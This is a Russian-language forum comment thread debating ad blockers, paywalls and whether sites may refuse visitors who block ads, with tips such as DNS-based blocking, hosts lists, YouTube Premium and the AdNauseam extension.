Если это осознанная позиция «Я вложил в этот сайт X денег, поэтому я ожидаю прибыль и на сайт пускаю только тех кто платит/смотрит рекламу» — и это явно прописано на пейволле при входе на сайт (как сейчас делают Wired и много других сайтов) — это честно и допустимо.

Если это «типа месть» — «ах, я такой весь в белом, предоставляю бесплатный* сервис, а пользователи, сволочи, почему-то не хотят при этом быть товаром и режут рекламу — я буду им показывать 404 в отместку» — ну, тут уж как в анекдоте, «либо крестик снимите, либо трусы оденьте». И ваша прибыль скорее всего в итоге тоже пострадает.

Выбирайте сами, какой вариант вам ближе :)
+1
Это не месть. Хотите аналогий, то это не пускать людей, которые приходят в ресторан с живой музыкой чтобы просто ее послушать, не собираясь что либо заказывать.

Просто правило для входа.

Вопрос не в позиции сайта даже. А скорее в том, устраивает ли посетителя конкретная ситуация (когда его с блокировщиком пошлют подальше, а не покажут сайт), а не философские обсуждения о том, какие мотивы скрываются за этим всем.
0
Вы, очевидно, не очень хорошо представляете что такое «правила» и «согласие с правилами». Отвечая на ваш вопрос выше — да, меня вполне устроит, если владельцы сайтов, которые считают, что посетители им чем-то обязаны — смотреть рекламу, слушать именно ту музыку, которую приспичило владельцу, заходить только по вторникам и т.п., не будут пускать к себе никого и таким образом выпилятся, продемонстрировав несостоятельность синдрома вахтёра как бизнес-модели. Стреляйте себе в ногу сколько угодно :)
-2
Они не выпилятся, выпилят оттуда вас, только и всего.
0
Загляните на 2 шага вперёд. Выпилят ТёмногоСтранника, жеКонфа, меня, ещё кучу народу. И что дальше? А останется там 3,5 посетителя, который, даже если будут круглосуточно смотреть/кликать рекламу, не окупят содержание сервиса. Ибо всегда будет способ получить контент в другом месте.
0
Выпилят те, условно, 30% людей, что пользуются блокировщиками. Потеряют на этом ну допустим 0.3% денег от тех посетителей, которые могли бы прийти по рекомендации пользователей адблока и смотрели бы рекламу.
Если контент интересный и полезный, то единицы процентов (как минимум) отключал блокировщик и в итоге экономика будет в небольшом плюсе от такого решения.

Но, конечно, эффективнее попробовать показать рекламу даже тем, у кого блокировщик. И уже те 2-3% которые используют продвинутые блокировщики, отправить в лес. Они точно погоду не сделают, даже если никто из них на сайте больше никогда не появится. Но зато потери от блокировщиков для сайта будут минимизированы.
0
Отвечая на ваш вопрос выше — да, меня вполне устроит, если владельцы сайтов, которые считают, что посетители им чем-то обязаны — смотреть рекламу, слушать именно ту музыку, которую приспичило владельцу, заходить только по вторникам и т.п., не будут пускать к себе никого и таким образом выпилятся, продемонстрировав несостоятельность синдрома вахтёра как бизнес-модели. Стреляйте себе в ногу сколько угодно :)

Два чая этому джентльмену!
+2
>которые приходят в ресторан с живой музыкой чтобы просто ее послушать, не собираясь что либо заказывать

Бизнес ресторана — это продажа еды. Музыка — дополнительная услуга. И ваша аналогия тогда выглядит так:

"Мой бизнес — впарить посетителю сайта рекламу и заработать на этом. А контент — так, дополнительная услуга, говорят — увеличивает число посетителей."

Будем считать, что вы сознались.
0
Мой бизнес — впарить посетителю сайта рекламу

Самое грустное, что по этому принципу существует подавляющее большинство площадок.
0
Музыка в данном контексте — не дополнительная услуга, а бесплатный бонус для тех, кто использует основной функционал.
Дополнительная услуга — это если бы вы после обеда в счёте увидели «прослушивание музыки — N рублей»)

И таки да — любой владелец сайта хочет зарабатывать на нём, поскольку тратит на его поддержание и наполнение контентом деньги и время (опустим случаи, когда сайт является вторичным по отношению к основному делу приносящему доход — например, сайт музыкальной группы, на котором выкладывается расписание концертов). Чем качественнее контент — тем больше времени и денег он на это тратит. И если он не хочет пускать халявщиков, которые заходят «просто послушать», но при этом «занимают свободные столики»\потребляют трафик — это его право. И вы можете, конечно, с криками и скандалом уйти, но владельцу сайта\ресторана от этого ни жарко ни холодно. Он зарабатывает не на вас, а на тех кто заказал обед\посмотрел рекламу\оплатил подписку.

З.Ы. я не выступаю защитником плохих сайтов, не считаю, что нужно запретить блокировщики, и не ратую за рекламу. Всего лишь указываю на то, что каждый в своём праве — и если сайт предоставляет хороший контент, найдутся те, кто будет смотреть рекламу\оплачивать подписку ради этого контента.
+1
По-моему история совершила круг. Когда происходило становление всемирно известных журналов — они были платные. Потом появились «бесплатные» агрегаторы с «новой» бизнес моделью (та же реклама сюда относится). Теперь мы приходим снова к тому что за хороший контент нужно платить. Вот только даже тут есть 2 пути: массовость при низкой\средней цене либо экслюзивность. Кажется, стриминговые платформы показали куда всё движется?

Новостные агрегаторы тоже заняли свою нишу в истории хотя бы тем, что показали «большим игрокам» о том что не нужно наглеть (банальный пример: реклама даже после пейволла, либо рекламные статьи). Но и они сделали ту же самую ошибку: погоня за деньгами в ущерб качеству (хотя эту ошибку совершают абсолютно все). Поэтому им тоже пора эволюционировать. Зато теперь я понял зачем нас в школе заставляли писать «пересказы» на уроках.
+5
  1. Считаю оскорблением журналистики причисление к ней материалов, изначально нацеленных на распространение с ограничениями
  2. Считаю исключительно справедливым что за доступ к ним платите лично вы своими деньгами, а не все пользователи интернета своим трафиком, процессорным временем и самое главное, безопасностью, нервами и вниманием
  3. Будь за paywall'ом что то действительно нужное, на него найдётся свой sci-hub
0
Вот это поворот! Значит, вы утверждаете, что 20 лет назад журналистики не существовало? Ведь бесплатная журналистика появилась лишь с наличием интернета. Или 20 лет назад это не было оскорблением, а сейчас вдруг стало?
0
Ну не знаю, я в основном пользуюсь броузером с ipad где невозможно поставить adblock, и у меня впечатление что реклама как никогда лезет изо всех щелей, мимикрируя под все что можно и нельзя. В тех же соцсетях через каждые 5 постов реклама, ютуб мало того что отказывается разворачиваться на весь экран, ставит на паузу воспроизведение при переключении на другую вкладку, всегда по умолчанию открывается в 360р, так еще и рекламой с повышенной громкостью постоянно прерывает. Уже так достало что приходится вручную эдблочить — скачивать видео через сторонний сервис и спокойно смотреть. Вообще складывается впечатление что единственное что все эти платформы хорошо делают — это показывают рекламу, все остальное побоку. И то, зачем выливать на человека, который кликает по особо интересному баннеру раз в год, такой поток — непонятно. Не мы начали эту войну, а рекламные сети и владельцы сайтов в погоне за наживой.
0
Можно поставить AdBlock (ну почти), но он будет платным. А еще можно поставить кастомные DNS, которые рекламу режут.
0
скачайте список DNS имён для болкировки с winhelp2002.mvps.org/hosts.htm

и добавьте в список статичных имён на роутер и достаточная часть рекламы будет вырезана.
0
А ещё можно заплатить за премиум подписку на ютубе. В конце концов, сам ютуб(гугл) тратит огромные средства на поддержание сервиса, хранилища, трафик. И делится доходом(хоть и не очень много) с людьми, которые тратят своё время на создание контента, который вы смотрите. Не хотите быть товаром — заплатите за контент) Ну, или будьте пиратом, да. Аж три варианта есть)
0
Премиум кстати это не только отключение рекламы, но и плюшки мобильной версии, за свои деньги очень даже хороший вариант.
+2
Есть еще вариант. Я использую AdNauseam. Это какой-то форк uBlock, который мне рекламу не показывает, но имитирует нажатие на рекламу в фоновом режиме. В итоге — почти всем хорошо.
1. Я не вижу рекламу, ребенок не видит рекламу.
2. Поскольку клики на все подряд — системы таргетации рекламы не могут понять мой профиль
3. Источник информации (ресурс) получает клики, за которые ему заплатят рекламодатели.

Плохо только рекламодателю — но это его проблемы.

Плюс, я считаю, что кроме туповатой рекламы в формате баннеров, есть куча способов, как сделать это интересно, с искрой и задором. Это и Product Placement в фильмах (нормально смотрится, когда органично вписывается в сюжет) и варианты партнерского материала в Медузе (иногда интересно пройти тесты) и т.д.
+1
Полностью согласен. Маркетологов, забивающих всё баннерами и как бы контекстной рекламой — нужно отдавать в школы для слабоумных на перевоспитание. Как и тех, кто платит им деньги (или даже в первую очередь тех, кто платит).